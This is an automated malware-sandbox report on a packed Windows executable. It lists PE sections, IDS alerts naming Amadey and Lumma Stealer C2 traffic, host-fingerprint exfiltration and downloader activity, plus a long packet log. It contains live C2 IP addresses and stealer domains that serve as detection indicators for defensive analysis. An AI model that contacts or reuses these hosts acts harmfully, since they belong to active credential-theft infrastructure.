xgfpmqas	0x6b000	0x2ba000	0x2b9e00	342eb74d6ed6f4cf1bb58f4086273845	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gummeirl	0x325000	0x1000	0x400	d31194327df692f59d4023ac070effc0	False	0.7626953125	data	5.9472534338155665	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x326000	0x3000	0x2200	4b9ae178dbdef464d21645e7f6bf3e89	False	0.06870404411764706	DOS executable (COM)	0.7702649014724404	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397
RT_MANIFEST	0x69358	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T08:01:56.762563+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49979	104.121.10.34	443	TCP
2024-12-17T08:03:04.960005+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49810	185.215.113.43	80	TCP
2024-12-17T08:03:09.428116+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49822	31.41.244.11	80	TCP
2024-12-17T08:03:15.556192+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49818	TCP
2024-12-17T08:03:16.891647+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49842	185.215.113.43	80	TCP
2024-12-17T08:03:18.348696+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49844	31.41.244.11	80	TCP
2024-12-17T08:03:22.648993+0100	2058218	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz)	1	192.168.2.5	50144	1.1.1.1	53	UDP
2024-12-17T08:03:22.873504+0100	2058222	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)	1	192.168.2.5	51546	1.1.1.1	53	UDP
2024-12-17T08:03:23.908368+0100	2058222	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)	1	192.168.2.5	51546	1.1.1.1	53	UDP
2024-12-17T08:03:25.195592+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49860	185.215.113.43	80	TCP
2024-12-17T08:03:25.789211+0100	2058223	ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)	1	192.168.2.5	49865	178.62.201.34	443	TCP
2024-12-17T08:03:25.789211+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49865	178.62.201.34	443	TCP
2024-12-17T08:03:25.791121+0100	2822521	ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)	1	178.62.201.34	443	192.168.2.5	49865	TCP
2024-12-17T08:03:26.362870+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49865	178.62.201.34	443	TCP
2024-12-17T08:03:26.362870+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49865	178.62.201.34	443	TCP
2024-12-17T08:03:26.375575+0100	2058214	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)	1	192.168.2.5	61447	1.1.1.1	53	UDP
2024-12-17T08:03:26.639157+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49867	31.41.244.11	80	TCP
2024-12-17T08:03:27.387597+0100	2058214	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)	1	192.168.2.5	61447	1.1.1.1	53	UDP
2024-12-17T08:03:29.139348+0100	2058215	ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI)	1	192.168.2.5	49873	104.131.68.180	443	TCP
2024-12-17T08:03:29.139348+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49873	104.131.68.180	443	TCP
2024-12-17T08:03:29.141824+0100	2822521	ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)	1	104.131.68.180	443	192.168.2.5	49873	TCP
2024-12-17T08:03:29.563966+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49873	104.131.68.180	443	TCP
2024-12-17T08:03:29.563966+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49873	104.131.68.180	443	TCP
2024-12-17T08:03:29.663387+0100	2058220	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz)	1	192.168.2.5	54431	1.1.1.1	53	UDP
2024-12-17T08:03:29.925880+0100	2058218	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz)	1	192.168.2.5	64475	1.1.1.1	53	UDP
2024-12-17T08:03:30.069581+0100	2058216	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz)	1	192.168.2.5	49331	1.1.1.1	53	UDP
2024-12-17T08:03:30.289168+0100	2058236	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou)	1	192.168.2.5	51804	1.1.1.1	53	UDP
2024-12-17T08:03:30.515506+0100	2058210	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou)	1	192.168.2.5	50426	1.1.1.1	53	UDP
2024-12-17T08:03:30.827829+0100	2058226	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou)	1	192.168.2.5	54837	1.1.1.1	53	UDP
2024-12-17T08:03:32.692338+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49883	104.121.10.34	443	TCP
2024-12-17T08:03:33.479101+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49883	104.121.10.34	443	TCP
2024-12-17T08:03:37.616599+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49894	185.215.113.43	80	TCP
2024-12-17T08:03:39.366715+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49900	31.41.244.11	80	TCP
2024-12-17T08:03:46.181966+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49915	185.215.113.43	80	TCP
2024-12-17T08:03:47.645435+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49920	31.41.244.11	80	TCP
2024-12-17T08:03:58.490891+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49946	185.215.113.43	80	TCP
2024-12-17T08:03:59.955503+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49950	31.41.244.11	80	TCP
2024-12-17T08:04:05.190218+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49965	185.215.113.43	80	TCP
2024-12-17T08:04:06.667447+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49968	185.215.113.16	80	TCP
2024-12-17T08:04:06.873731+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.5	61244	1.1.1.1	53	UDP
2024-12-17T08:04:06.873731+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.5	61244	1.1.1.1	53	UDP
2024-12-17T08:04:07.106308+0100	2057949	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.5	50334	1.1.1.1	53	UDP
2024-12-17T08:04:07.106308+0100	2057981	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.5	50334	1.1.1.1	53	UDP
2024-12-17T08:04:07.337348+0100	2057929	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.5	54877	1.1.1.1	53	UDP
2024-12-17T08:04:07.337348+0100	2057979	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.5	54877	1.1.1.1	53	UDP
2024-12-17T08:04:07.556440+0100	2057931	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.5	63501	1.1.1.1	53	UDP
2024-12-17T08:04:07.556440+0100	2057977	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.5	63501	1.1.1.1	53	UDP
2024-12-17T08:04:07.791853+0100	2057925	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.5	50654	1.1.1.1	53	UDP
2024-12-17T08:04:07.791853+0100	2057973	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.5	50654	1.1.1.1	53	UDP
2024-12-17T08:04:08.016459+0100	2057927	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.5	65526	1.1.1.1	53	UDP
2024-12-17T08:04:08.016459+0100	2057975	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.5	65526	1.1.1.1	53	UDP
2024-12-17T08:04:08.254809+0100	2057943	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.5	53225	1.1.1.1	53	UDP
2024-12-17T08:04:08.254809+0100	2057971	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.5	53225	1.1.1.1	53	UDP
2024-12-17T08:04:08.487499+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.5	64778	1.1.1.1	53	UDP
2024-12-17T08:04:08.487499+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.5	64778	1.1.1.1	53	UDP
2024-12-17T08:04:11.017817+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49979	104.121.10.34	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 08:03:03.508285999 CET	49810	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:03.628128052 CET	80	49810	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:03.628746986 CET	49810	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:03.636239052 CET	49810	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:03.868051052 CET	80	49810	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:04.959938049 CET	80	49810	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:04.960005045 CET	49810	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:06.466444016 CET	49810	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:06.466732979 CET	49818	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:06.586472034 CET	80	49818	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:06.586541891 CET	49818	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:06.586554050 CET	80	49810	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:06.586601019 CET	49810	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:06.586882114 CET	49818	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:06.706572056 CET	80	49818	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:07.976641893 CET	80	49818	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:07.976696968 CET	80	49818	185.215.113.43	192.168.2.5
Dec 17, 2024 08:03:07.976741076 CET	49818	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:07.976818085 CET	49818	80	192.168.2.5	185.215.113.43
Dec 17, 2024 08:03:07.981441975 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:08.101953983 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:08.102050066 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:08.102212906 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:08.222060919 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.427990913 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.428030014 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.428116083 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.428117037 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.428234100 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.428289890 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.428303957 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.428338051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.428360939 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.428381920 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.428385973 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.428452015 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.428461075 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.428493977 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.428519011 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.428529978 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.428567886 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.428622961 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.428642988 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.428642988 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.548618078 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.548686028 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.548722029 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.548827887 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.552720070 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.552784920 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.552814960 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.552872896 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.620807886 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.620870113 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.621073961 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.621074915 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.625015974 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.625071049 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.625222921 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.625224113 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.633347988 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.633462906 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.633497953 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.633565903 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.641779900 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.641846895 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.641896963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.641896963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.650177956 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.650253057 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.650290012 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.650352001 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.658564091 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.658629894 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.658700943 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.658756018 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.667040110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.667156935 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.667242050 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.667359114 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.675448895 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.675513983 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.675540924 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.675602913 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.683896065 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.683968067 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.684073925 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.684140921 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.692354918 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.692426920 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.692468882 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.692533970 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.699678898 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.699753046 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.699803114 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.699870110 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.706954002 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.707010031 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.707017899 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.707067966 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.812757015 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.812880993 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.812941074 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.812941074 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.815025091 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.815165043 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.815177917 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.815263033 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.819628000 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.819672108 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.819731951 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.819732904 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.824042082 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.824099064 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.824228048 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.824285030 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.828546047 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.828669071 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.828680038 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.828737020 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.833127022 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.833194017 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.833256960 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.833312035 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.837598085 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.837635994 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.837656021 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.837701082 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.842087030 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.842145920 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.842212915 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.842282057 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.846570969 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.846625090 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.846704960 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.846760988 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.851207972 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.851330042 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.851339102 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.851387024 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.855600119 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.855662107 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.855690956 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.855751038 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.860071898 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.860141039 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.860181093 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.860253096 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.864577055 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.864655018 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.864700079 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.864758968 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.869112968 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.869177103 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.869268894 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.869328022 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.873558998 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.873668909 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.873676062 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.873744011 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.878104925 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.878156900 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.878443003 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.878498077 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.882684946 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.882746935 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.882865906 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.882915974 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.887231112 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.887295008 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.887347937 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.887413025 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.891716957 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.891777039 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.891894102 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.891949892 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.896131992 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.896245003 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.896290064 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.896342039 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.900546074 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.900603056 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.900686979 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.900743008 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.905199051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.905258894 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.905328989 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.905383110 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.909559011 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.909619093 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.909693003 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.909748077 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.914254904 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.914320946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:09.914344072 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:09.914397001 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.004822016 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.004941940 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.004983902 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.005043983 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.006647110 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.006700993 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.006778002 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.006849051 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.010256052 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.010314941 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.010360003 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.010416985 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.013838053 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.013897896 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.013958931 CET	80	49822	31.41.244.11	192.168.2.5
